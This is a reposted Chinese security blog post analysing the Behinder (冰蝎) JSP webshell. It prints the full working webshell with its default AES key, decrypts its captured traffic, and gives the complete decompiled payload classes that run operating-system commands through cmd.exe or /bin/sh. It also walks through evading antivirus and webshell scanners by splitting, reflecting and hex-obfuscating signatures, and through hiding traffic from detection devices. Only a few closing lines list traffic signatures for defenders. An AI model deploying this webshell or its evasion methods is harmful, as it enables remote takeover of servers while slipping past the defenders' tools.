原始shell代码分析
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);} public Class g(byte []b) {return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b"; session.putValue("u",k);Cipher c=Cipher.getInstance("AES"); c.init(2,new SecretKeySpec(k.getBytes(),"AES")); new U(this.getClass().getClassLoader()).g(c.doFinal( new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
Shell 代码解释
原始shell代码主要实现了一个简单的类加载器,并通过AES加密算法解密传入的字节码,然后加载并实例化这个类。以下是对代码的详细解释:
1. 导入必要的Java类
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
这部分导入了Java中常用的工具类、加密相关的类(如Cipher
、SecretKeySpec
)等。
2. 定义自定义类加载器 U
<%!class U extends ClassLoader{ U(ClassLoader c){ super(c); } public Class g(byte []b){ return super.defineClass(b,0,b.length); }}%>
这里定义了一个名为U
的类,它继承自ClassLoader
。U
类的作用是通过defineClass
方法将字节数组转换为Class
对象。g
方法接收一个字节数组b
,并调用defineClass
方法将其转换为Class
对象。
3. 处理POST请求
<%if (request.getMethod().equals("POST")){ String k="e45e329feb5d925b"; session.putValue("u",k); Cipher c=Cipher.getInstance("AES"); c.init(2,new SecretKeySpec(k.getBytes(),"AES")); new U(this.getClass().getClassLoader()).g(c.doFinal( new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
这部分代码处理HTTP POST请求,具体步骤如下:
获取密钥:
String k="e45e329feb5d925b"; 这里定义了一个AES加密的密钥 k
,并将其存储在会话(session
)中。
初始化AES加密器:
Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
这里使用AES算法初始化了一个Cipher
对象,并将其设置为解密模式(2
表示解密模式)。密钥通过SecretKeySpec
类进行封装。
读取并解密数据:
-
new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())
从HTTP请求中读取一行Base64编码的数据,并将其解码为字节数组。
解密字节数组:
-
c.doFinal(...)
使用AES解密器对Base64解码后的字节数组进行解密。
加载并实例化类:
-
new U(this.getClass().getClassLoader()).g(c.doFinal(...)).newInstance()
使用自定义的类加载器U
加载解密后的字节码,并实例化这个类。
调用
equals方法:
-
.equals(pageContext);
最后,调用实例化对象的 equals
方法,并将 pageContext
作为参数传入。
流量分析
客户端执行 whoami 命令后的加解密过程,如下图:
private byte[] Encrypt(byte[] data) throws Exception { String key="e45e329feb5d925b"; byte[] raw = key.getBytes("utf-8"); javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES"); javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式" cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec); byte[] encrypted = cipher.doFinal(data); Class baseCls; try { baseCls=Class.forName("java.util.Base64"); Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null); encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted}); } catch (Throwable error) { baseCls=Class.forName("sun.misc.BASE64Encoder"); Object Encoder=baseCls.newInstance(); String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted}); result=result.replace("n", "").replace("r", ""); encrypted=result.getBytes(); } return encrypted; }
通过抓包获取请求流量
解密请求包,我们可以对加密后的payload进行解密获取aes+base64后的字节码
qd7VkkuiRJfRjcLSuWEEJqGxvVVhB+P84Yc3YAcd7uSjvFxnIKgw7b+M+3SPcBA5....
VALFaqRbzyNS+U4xfG10YdBoXqFdrlHDeBOP+Iyuwk8hnIype6p9YlxXEXD8KulLJjbD1yl8avBalyiOQF5q73mqX+bsDTjEc/GLo8evE697tpiV4ZJqi8Uc31hC5alJprm5P1oUdKGXIToMSTc3qHLHKhLttSsJfsZxhP9L8I1kPpZ4UVmNW4WV51zQJid9+hXZztynZV6uooh7+fnLiD6p7m8ITwNyJQ57OjAXdTrbGO8242a/HMUUDk4TuSh4BZTl/dxkHa5TbBVqauAZCa0GWUkhnGa5LTkjFlCNFXL4snKJhhT0vVCrD0JS0tR8hczdwPUym9iKZzNhOS5Vnil85FbCtmvtp193kIR2A/iZg1ghxy9q9zBqJvjBC2gekvCuBoLP8iPa6vhKNRHDMtgHnScmhS4j2QwkHmRCQsK4hr0WNav4NQBEOzYijIrq4qNiOZsHSUseF5oSh4ttrMXK0kluHmXmGzogiloOVeF17BW3qGzYhd4an2mcUzWBy874U=
2.服务端收到Payload密文后,利用解密函数进行解密
这里自定义的类加载器 U
加载解密后的字节码
将获取的字节码保存为class 文件,然后进行反编译后可以看到原始java的代码如下
package behinder;import webshell.Decoder;import java.io.FileOutputStream;import java.io.IOException;import java.nio.charset.StandardCharsets;import java.util.Arrays;public class BehinderEncryptDecryptTools { //default_aes public static byte[] Encrypt(byte[] data) throws Exception { String key="e45e329feb5d925b"; byte[] raw = key.getBytes("utf-8"); javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES"); javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式" cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec); byte[] encrypted = cipher.doFinal(data); Class baseCls; try { baseCls=Class.forName("java.util.Base64"); Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null); encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted}); } catch (Throwable error) { baseCls=Class.forName("sun.misc.BASE64Encoder"); Object Encoder=baseCls.newInstance(); String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted}); result=result.replace("n", "").replace("r", ""); encrypted=result.getBytes(); } return encrypted; } public static byte[] Decrypt(byte[] data) throws Exception { String k="e45e329feb5d925b"; javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES")); byte[] decodebs; Class baseCls ; try{ baseCls=Class.forName("java.util.Base64"); Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null); decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data}); } catch (Throwable e) { baseCls = Class.forName("sun.misc.BASE64Decoder"); Object Decoder=baseCls.newInstance(); decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)}); } return c.doFinal(decodebs); } public static void main(String[] args) throws Exception { //加密 byte[] cmd = "whoami".getBytes(); byte[] encrypt = Encrypt(cmd); String cmds = new String(encrypt, "utf-8"); ....
KNRHDMtgHnScmhS4j2QwkHmRCQsK4hr0WNav4NQBEOzYijIrq4qNiOZsHSUseF5oSh4ttrMXK0kluHmXmGzogiloOVeF17BW3qGzYhd4an2mcUzWBy874U=".getBytes(); byte[] decrypt = Decrypt(str1); String decryptedString = new String(decrypt, StandardCharsets.UTF_8); // 使用 UTF-8 编码 System.out.println(decryptedString);// // 定义要保存的文件路径和名称// String fileName = "DecryptedClass.class";//// try (FileOutputStream fos = new FileOutputStream(fileName)) {// // 将字节码写入文件// fos.write(decrypt);// System.out.println("字节码已保存为文件: " + fileName);// } catch (IOException e) {// e.printStackTrace();// } }}
package behinder;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
import java.nio.charset.Charset;
import java.util.HashMap;
import java.util.Map;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class Vyrurajb {
public static String cmd;
public static String path;
public static String whatever;
private static String status = "success";
private Object Request;
private Object Response;
private Object Session;
public Vyrurajb() {
cmd = "";
cmd = cmd + "cd /Users/uuu/tools/apache-tomcat-9.0.98/bin/ ;whoami";
path = "";
path = path + "/Users/uuu/tools/apache-tomcat-9.0.98/bin/";
//super();
}
public boolean equals(Object obj) {
Map<String, String> result = new HashMap();
try {
this.fillContext(obj);
result.put("msg", this.RunCMD(cmd));
result.put("status", status);
} catch (Exception e) {
result.put("msg", e.getMessage());
result.put("status", "fail");
} finally {
try {
Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
Method write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var13) {
}
}
return true;
}
public static String RunCMD(String cmd) throws Exception {
Charset osCharset = Charset.forName(System.getProperty("sun.jnu.encoding"));
String result = "";
if (cmd != null && cmd.length() > 0) {
Process p;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
} else {
p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
}
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), osCharset));
for(String disr = br.readLine(); disr != null; disr = br.readLine()) {
result = result + disr + "n";
}
br = new BufferedReader(new InputStreamReader(p.getErrorStream(), osCharset));
for(String var8 = br.readLine(); var8 != null; var8 = br.readLine()) {
result = result + var8 + "n";
System.out.println(result);
}
}
System.out.println(result);
return result;
}
private String base64encode(byte[] data) throws Exception {
String result = "";
String version = System.getProperty("java.version");
try {
this.getClass();
Class Base64 = Class.forName("java.util.Base64");
Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
} catch (Throwable var7) {
this.getClass();
Class Base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = Base64.newInstance();
result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
result = result.replace("n", "").replace("r", "");
}
return result;
}
private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
for(String key : entity.keySet()) {
sb.append(""" + key + "":"");
String value = ((String)entity.get(key)).toString();
if (encode) {
if (version.compareTo("1.9") >= 0) {
this.getClass();
Class Base64 = Class.forName("java.util.Base64");
Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
} else {
this.getClass();
Class Base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = Base64.newInstance();
value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
value = value.replace("n", "").replace("r", "");
}
}
sb.append(value);
sb.append("",");
}
if (sb.toString().endsWith(",")) {
sb.setLength(sb.length() - 1);
}
sb.append("}");
return sb.toString();
}
private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
this.Session = obj.getClass().getMethod("getSession").invoke(obj);
} else {
Map<String, Object> objMap = (Map)obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}
this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
}
private byte[] getMagic() throws Exception {
String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
Random random = new Random();
byte[] buf = new byte[magicNum];
for(int i = 0; i < buf.length; ++i) {
buf[i] = (byte)random.nextInt(256);
}
return buf;
}
private byte[] Encrypt(byte[] var1) throws Exception {
String var2 = "e45e329feb5d925b";
byte[] var3 = var2.getBytes("utf-8");
SecretKeySpec var4 = new SecretKeySpec(var3, "AES");
Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
var5.init(1, var4);
byte[] var6 = var5.doFinal(var1);
try {
Class var14 = Class.forName("java.util.Base64");
Object var8 = var14.getMethod("getEncoder", (Class[])null).invoke(var14, (Object[])null);
var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
} catch (Throwable var12) {
Class var7 = Class.forName("sun.misc.BASE64Encoder");
Object var10 = var7.newInstance();
String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
var11 = var11.replace("n", "").replace("r", "");
var6 = var11.getBytes();
}
return var6;
}
}
3.服务端执行解密后的Payload,并获取执行结果
4.服务端对Payload执行结果进行加密,然后返回给本地客户端
5.客户端收到响应密文后,利用解密函数解密,得到响应内容明文
private byte[] Decrypt(byte[] data) throws Exception { String k="e45e329feb5d925b"; javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES")); byte[] decodebs; Class baseCls ; try{ baseCls=Class.forName("java.util.Base64"); Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null); decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data}); } catch (Throwable e) { baseCls = Class.forName("sun.misc.BASE64Decoder"); Object Decoder=baseCls.newInstance(); decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)}); } return c.doFinal(decodebs); }
MKBzySWBGC7sCwAHbMOe+fDUoTWQHdBrNMMXBnjM4jj5veNNtM8IFmR4KQtY7KQX
使用冰蝎内置对工具对响应包进行解密
也可以把对应的加解密函数拿出来自行编写
最后客户端获取明文结果
Payload 代码解释
我们从冰蝎客户端中请求一个命令,都会发送一个加密后的payload,其payload就是加密后的字节码
我们通过抓包获取payload,然后对其进行解密反编译后,获取明文的代码如下:
// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//package sun.qeoswg.oehdcn;import java.io.BufferedReader;import java.io.InputStreamReader;import java.lang.reflect.Method;import java.nio.charset.Charset;import java.util.HashMap;import java.util.Map;import java.util.Random;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;public class Mcjgplnmu { public static String cmd; public static String path; public static String whatever; private static String status = "success"; private Object Request; private Object Response; private Object Session; public Mcjgplnmu() { cmd = ""; cmd = cmd + "cd /d "C:\Users\abc\IdeaProjects\apache-tomcat-8.5.68\bin\"&ipconfig"; path = ""; path = path + "C:/Users/abc/IdeaProjects/apache-tomcat-8.5.68/bin/"; super(); } public boolean equals(Object obj) { Map<String, String> result = new HashMap(); try { this.fillContext(obj); result.put("msg", this.RunCMD(cmd)); result.put("status", status); } catch (Exception e) { result.put("msg", e.getMessage()); result.put("status", "fail"); } finally { try { Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var13) { } } return true; } private String RunCMD(String cmd) throws Exception { Charset osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); String result = ""; if (cmd != null && cmd.length() > 0) { Process p; if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) { p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd}); } else { p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}); } BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), osCharset)); for(String disr = br.readLine(); disr != null; disr = br.readLine()) { result = result + disr + "n"; } br = new BufferedReader(new InputStreamReader(p.getErrorStream(), osCharset)); for(String var8 = br.readLine(); var8 != null; var8 = br.readLine()) { result = result + var8 + "n"; } } return result; } private String base64encode(byte[] data) throws Exception { String result = ""; String version = System.getProperty("java.version"); try { this.getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null); result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data); } catch (Throwable var7) { this.getClass(); Class Base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = Base64.newInstance(); result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data); result = result.replace("n", "").replace("r", ""); } return result; } private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); String version = System.getProperty("java.version"); sb.append("{"); for(String key : entity.keySet()) { sb.append(""" + key + "":""); String value = ((String)entity.get(key)).toString(); if (encode) { if (version.compareTo("1.9") >= 0) { this.getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null); value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); } else { this.getClass(); Class Base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = Base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); value = value.replace("n", "").replace("r", ""); } } sb.append(value); sb.append("","); } if (sb.toString().endsWith(",")) { sb.setLength(sb.length() - 1); } sb.append("}"); return sb.toString(); } private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest").invoke(obj); this.Response = obj.getClass().getMethod("getResponse").invoke(obj); this.Session = obj.getClass().getMethod("getSession").invoke(obj); } else { Map<String, Object> objMap = (Map)obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); } private byte[] getMagic() throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16; Random random = new Random(); byte[] buf = new byte[magicNum]; for(int i = 0; i < buf.length; ++i) { buf[i] = (byte)random.nextInt(256); } return buf; } private byte[] Encrypt(byte[] var1) throws Exception { String var2 = "e45e329feb5d925b"; byte[] var3 = var2.getBytes("utf-8"); SecretKeySpec var4 = new SecretKeySpec(var3, "AES"); Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding"); var5.init(1, var4); byte[] var6 = var5.doFinal(var1); try { Class var14 = Class.forName("java.util.Base64"); Object var8 = var14.getMethod("getEncoder", (Class[])null).invoke(var14, (Object[])null); var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6); } catch (Throwable var12) { Class var7 = Class.forName("sun.misc.BASE64Encoder"); Object var10 = var7.newInstance(); String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6); var11 = var11.replace("n", "").replace("r", ""); var6 = var11.getBytes(); } return var6; }}
代码分析
该代码是一个用于远程命令执行的 WebShell,核心功能是通过反射和加密机制执行命令并将结果返回给客户端。主要功能包括命令执行、结果加密、与客户端通信。以下是分模块的功能分析:
1. 命令执行
核心方法:RunCMD(String cmd)
- 功能
:执行传入的操作系统命令并返回执行结果。 - 实现方式
:
-
-
根据操作系统类型,选择合适的命令执行方式:
-
-
-
-
Windows: cmd.exe /c <命令>
-
Unix/Linux: /bin/sh -c <命令>
-
-
-
-
捕获命令执行的标准输出和错误输出,合并为结果字符串返回。
-
2. 客户端通信
核心方法:equals(Object obj)
- 功能
:
-
-
通过调用传入对象( PageContext
或其他上下文)获取请求、响应、会话对象。 -
执行指定命令,并将结果以 JSON 格式封装后返回给客户端。
-
- 实现流程
:
-
-
获取 Request
、Response
和Session
对象。 -
调用 RunCMD
执行命令。 -
将命令结果和状态信息封装为 JSON 格式。 -
使用 Encrypt
方法对 JSON 数据进行加密。 -
通过 Response
输出加密后的数据返回客户端。
-
3. 数据加密
核心方法:Encrypt(byte[] data)
- 功能
:对数据进行 AES/ECB/PKCS5Padding 加密,保证传输过程中数据的安全性。 - 实现方式
:
-
-
使用固定的 16 字节密钥( e45e329feb5d925b
)。 -
加密模式为 AES,填充方式为 PKCS5Padding。 -
最终将加密后的数据进行 Base64 编码。
-
辅助功能:base64encode(byte[] data)
- 功能
:对加密后的数据进行 Base64 编码,保证数据可在文本环境中传输。 - 兼容性
:兼容 JDK 8 及以上版本(使用 java.util.Base64
)和更低版本(使用sun.misc.BASE64Encoder
)。
4. 动态上下文绑定
核心方法:fillContext(Object obj)
- 功能
:根据传入的对象类型,动态绑定 Request
、Response
和Session
。 - 实现方式
:
-
-
如果对象类型包含 PageContext
,通过反射获取相关上下文。 -
如果对象是映射类型( Map
),直接提取request
、response
和session
。
-
5. 数据封装
核心方法:buildJson(Map<String, String> entity, boolean encode)
- 功能
:将传入的键值对映射封装为 JSON 格式的字符串。 - 实现方式
:
-
-
遍历映射,将每个键值对转换为 "key":"value"
格式。 -
如果需要加密,将值进行 Base64 编码。 -
拼接 JSON 格式字符串并返回。
-
6. 类的初始化
构造函数:Mcjgplnmu()
- 功能
:
-
-
初始化静态字段 cmd
和path
,设置默认的命令执行路径和命令内容。 -
默认命令为:
-
cd /d "C:UsersabcIdeaProjectsapache-tomcat-8.5.68bin" & ipconfig
- 用途
:提供默认的命令和路径,方便后续命令执行。
7. 随机字节生成
核心方法:getMagic()
- 功能
:
-
-
从会话中获取一个字符串( Session
属性u
)。 -
解析字符串前两位,将其转换为 16 进制数,确定随机字节数组的长度。 -
生成随机字节数组。
-
- 用途
:提供随机性数据。
8.主要功能总结:
-
-
远程命令执行( RunCMD
)。 -
加密数据返回( Encrypt
和base64encode
)。 -
动态上下文绑定( fillContext
)。 -
JSON 格式结果封装( buildJson
)。
-
代码静态免杀
我们对原始的shell aes解码代码进行拆分注释,特征还是很明显,D盾直接查杀到的
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);} public Class g(byte []b) {return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b"; session.putValue("u",k);Cipher c=Cipher.getInstance("AES"); c.init(2,new SecretKeySpec(k.getBytes(),"AES")); new U(this.getClass().getClassLoader()).g(c.doFinal( new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);} public Class g(byte []b) {return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){ String customKey="e45e329feb5d925b"; /*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/ session.putValue("u",customKey); Cipher c=Cipher.getInstance("AES");//使用 Cipher.getInstance() 创建 Cipher 对象,指定算法、模式和填充方式 byte[] keyBytes = customKey.getBytes();//自定义密钥 SecretKeySpec secretKey = new SecretKeySpec(keyBytes, "AES");//使用 SecretKeySpec 类将字节数组转换为密钥对象。 c.init(2,secretKey); //指定模式,2为加密模式 new U(this.getClass().getClassLoader()).g( c.doFinal( //对数据进行解密,也就是base64解码后的aes字节码 new sun.misc.BASE64Decoder().decodeBuffer( //将Base64编码的字符串解码为字节数组 request.getReader().readLine() //从HTTP请求的输入流中读取一行数据。也就是aes+base64后的字节码 ))) .newInstance() .equals(pageContext);}%>
特征一、 删除 这个 Cipher c=Cipher.getInstance("AES"); 降为2级
特征二、删除 new sun.misc.BASE64Decoder().decodeBuffer( 直接绕过了
特征三、重新扫描发现还有一个特征 new U(this.getClass().getClassLoader()).g(c.doFinal(bytes))
这里我们使用反射+混淆的思路进行绕过(细节忽略)
上传到https://www.virscan.org/ 进行检查还是有几个查杀到的
使用十六进制编码,通过对关键特征进行混淆,成功绕过
流量隐蔽处理
上面的免杀马虽然一定程度上绕过了大多安全设备的检查,但是冰蝎默认的几种加密算法早已不足以绕过流量设备的监测了.下面是某讯的某平台
因为冰蝎支持自定义加解密算法,所以我们可以自己写一个加解密的方法
流量特征
某设备匹配到的流量特征,特别是加密后的success
Referer:http://ip/javavuln/A5DM1A/5ub.jsp, 后面为/随机目录/随机文件名.jsp
Accept字段, Accept: application/json, text/javascript, */*; q=0.01
Accept-Language头,几乎都是 zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
客户端支持只定义ua头,因此我感觉可忽略这个特征,当然也可辅助其他特征来分析
原文始发于微信公众号(贝雷帽SEC):Behinder免杀&流量隐蔽&流量分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论